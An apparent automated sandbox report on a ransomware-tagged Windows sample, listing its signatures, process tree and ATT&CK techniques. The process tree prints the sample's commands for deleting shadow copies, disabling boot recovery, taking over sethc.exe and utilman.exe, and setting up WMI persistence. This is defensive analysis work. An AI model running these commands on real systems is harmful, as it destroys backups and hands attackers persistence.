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2026-11-13...lc.exe

windows10-2004-x64

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2026-11-13...lc.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 23:43

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General

  • Target
    2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe
  • Size 242KB
  • Sample261113-3qlbpsts2l
  • SHA256 cfecc2302addf55df8bc9fca250a2d4a6e48d2535960acfaa524a9365222f7a2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionexploitimpactpersistenceransomware

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Custom signature
    Detects command variations typically used by ransomware 1 IoCs
  • Custom signature
    Detects executables referencing many IR and analysis tools 1 IoCs
  • Modifies boot configuration data using bcdedit 9 IoCs
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 4 IoCs
    persistence
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Executes dropped EXE 1 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 4 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe"
    1⤵
    • Disables RegEdit via registry modification
    • Event Triggered Execution: Image File Execution Options Injection
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /export "C:\Users\Admin\AppData\Local\Temp\VEX_BCD_5004.bcd"
      2⤵
      • Modifies boot configuration data using bcdedit
      • Suspicious use of AdjustPrivilegeToken
      PID:5812
    • C:\Windows\SYSTEM32\reagentc.exe
      reagentc /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:5800
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /timeout 0
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5272
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2132
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {bootmgr} timeout 0
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:432
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2904
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3332
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {current} recoveryenabled no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1520
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1248
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\sethc.exe"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      • Suspicious use of AdjustPrivilegeToken
      PID:1372
    • C:\Windows\SYSTEM32\icacls.exe
      icacls "C:\Windows\System32\sethc.exe" /grant *S-1-5-32-544:F
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:60
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\utilman.exe"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      • Suspicious use of AdjustPrivilegeToken
      PID:1652
    • C:\Windows\SYSTEM32\icacls.exe
      icacls "C:\Windows\System32\utilman.exe" /grant *S-1-5-32-544:F
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:6016
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic path win32_networkadapter where NetEnabled=true get DeviceID /value > "C:\Users\Admin\AppData\Local\Temp\vex9DD1.tmp"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1452
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic path win32_networkadapter where NetEnabled=true get DeviceID /value
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:6024
    • C:\Windows\System32\Wbem\wmic.exe
      wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="VEXFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      PID:2588
    • C:\Windows\System32\Wbem\wmic.exe
      wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="VEXConsumer", CommandLineTemplate="\"C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe\""
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:1148
    • C:\Windows\System32\Wbem\wmic.exe
      wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name='VEXFilter'", Consumer="CommandLineEventConsumer.Name='VEXConsumer'"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:5708
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3172
    • C:\Users\Admin\AppData\Local\Temp\VEXHealthSvc.exe
      "C:\Users\Admin\AppData\Local\Temp\VEXHealthSvc.exe" --watchdog "C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe"
      2⤵
      • Executes dropped EXE
      PID:3228
    • C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:2996
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im explorer.exe
      2⤵
      • Kills process with taskkill
      PID:3388
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:5496
    • C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe
      C:\Users\Admin\AppData\Local\Temp\2026-11-13_c129a420ec5d0296f0e67ce466a0f103_cobalt-strike_icedid_ngrbot_njrat_satacom_stealc.exe explorer.exe
      1⤵
        PID:2504

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            Windows Command Shell

            1
            T1059.003

            Windows Management Instrumentation

            1
            T1047

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Defense Evasion

            Direct Volume Access

            1
            T1006

            File and Directory Permissions Modification

            2
            T1222

            Windows File and Directory Permissions Modification

            1
            T1222.001

            Indicator Removal

            2
            T1070

            File Deletion

            2
            T1070.004

            Modify Registry

            1
            T1112

            Credential Access

            Discovery

            System Network Configuration Discovery

            1
            T1016

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Inhibit System Recovery

            2
            T1490

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            Downloads

            VEXHealthSvc.exe
            • Path C:\Users\Admin\AppData\Local\Temp\VEXHealthSvc.exe
            • Size 242KB
            • SHA256 cfecc2302addf55df8bc9fca250a2d4a6e48d2535960acfaa524a9365222f7a2
            • MD5 SHA1 SHA512 SSDEEP TLSH
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            vex9DD1.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\vex9DD1.tmp
            • Size 42B
            • SHA256 55af8ed429edccf511c3e58190b8d8b501f394906cdfda4a50b4c01085fdde7c
            • MD5 SHA1 SHA512
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